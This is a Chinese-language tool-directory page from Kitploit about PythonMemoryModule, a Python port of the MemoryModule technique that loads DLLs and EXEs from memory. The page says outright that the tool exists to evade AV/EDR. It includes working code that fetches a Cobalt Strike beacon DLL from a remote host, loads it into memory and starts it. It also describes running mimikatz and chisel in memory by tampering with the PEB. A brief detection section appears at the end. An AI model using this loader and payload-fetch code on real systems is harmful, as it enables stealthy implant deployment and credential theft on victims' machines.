Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PythonMemoryModule — 纯Python实现的MemoryModule技术,用于完全从内存加载DLL和非托管EXE。 | Kitploit
工具/GitHubGitHub/naksyn/pythonmemorymodule
漏洞利用框架渗透测试红队
GitHubnaksyn/pythonmemorymodule

PythonMemoryModule

纯Python实现的MemoryModule技术,用于完全从内存加载DLL和非托管EXE。

查看仓库
3405252年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Supported Python versions Twitter

PythonMemoryModule

纯Python实现的MemoryModule技术,可完全从内存加载dll或非托管exe

图片
"Python memory module" AI生成图片 - hotpot.ai

这是什么

PythonMemoryModule是Joachim Bauch原创的MemoryModule技术的Python ctypes移植版。它可以使用Python加载dll或非托管exe,无需外部库(pyd),并(部分)支持命令行参数传递。

它利用pefile解析PE头,PythonForWindows访问进程参数,以及ctypes处理繁重工作。该工具最初设计用作Pyramid模块,通过从内存加载dll/exe有效载荷到python.exe中来逃避AV/EDR检测,但其他用例也是可能的(IP保护、pyd内存加载、其他更隐蔽技术的衍生),因此我决定创建这个专用仓库。

为什么它有用

  1. 它基本上允许完全在Python解释语言中使用MemoryModule技术,从而能够使用官方的签名python.exe二进制文件从内存缓冲区加载dll,无需将外部代码/库(例如pymemorymodule绑定)写入磁盘,这些代码/库可能被AV/EDR标记或引起用户怀疑。
  2. 在编译语言加载器中使用MemoryModule技术需要将MemoryModule代码嵌入加载器本身。使用Python解释语言和PythonMemoryModule可以避免这一点,因为代码可以动态执行并驻留在内存中。
  • 通过动态内存下载、解密和加载dll,可以获得一定程度的知识产权保护,从而隐藏dll免受窥探。请注意,dll仍可从内存中恢复并进行逆向工程,但至少需要攻击者付出更多努力。
  • 可以加载无阶段有效载荷dll,而无需执行注入或shellcode。加载过程模拟LoadLibrary Windows API(该API以磁盘上的路径为输入),但实际并未调用它,而是在内存中操作。
  • 如何使用

    示例1

    以下示例中,Cobalt Strike无阶段信标dll被下载(不保存到磁盘)、加载到内存并通过调用入口点启动。

    root@kitploit:~
    import urllib.request
    import ctypes
    import pythonmemorymodule
    request = urllib.request.Request('http://192.168.1.2/beacon.dll')
    result = urllib.request.urlopen(request)
    buf=result.read()
    dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
    startDll = dll.get_proc_addr('StartW')
    assert startDll()
    #dll.free_library()
    

    注意:如果在可延展配置文件中使用了分段,则dll无法使用LoadLibrary加载,因此MemoryModule将无法工作。

    示例2

    以下示例中,我们使用命令行传递功能来在内存中执行chisel。

    https://github.com/naksyn/PythonMemoryModule/assets/59816245/cdc91760-1897-450f-9770-1cd2377913c7

    命令行参数传递 - 部分支持

    此技术通过在运行时篡改PEB中的Commandline参数来实现。 这并非对所有可执行文件都有效,因为它取决于用于传递参数的具体函数。

    通常,要实现普遍有效的技术,需要挂钩GetCommandlineA、GetCommandlineW、__getmainargs和__wgetmainargs,因为仅篡改PEB无法覆盖所有情况,更多细节见此处

    在测试中,我发现mimikatz和几个Go二进制文件仅通过PEB篡改即可正常工作,而仅通过PEB篡改向mingw和VS编译的二进制文件传递命令行参数则可能失败。

    如何检测

    使用MemoryModule技术会很大程度上尊重目标DLL的节权限,避免使用嘈杂的RWX方法。但是,在程序内存中会存在一个未由磁盘上dll支持的私有提交,这是MemoryModule的明显特征。

    下载工具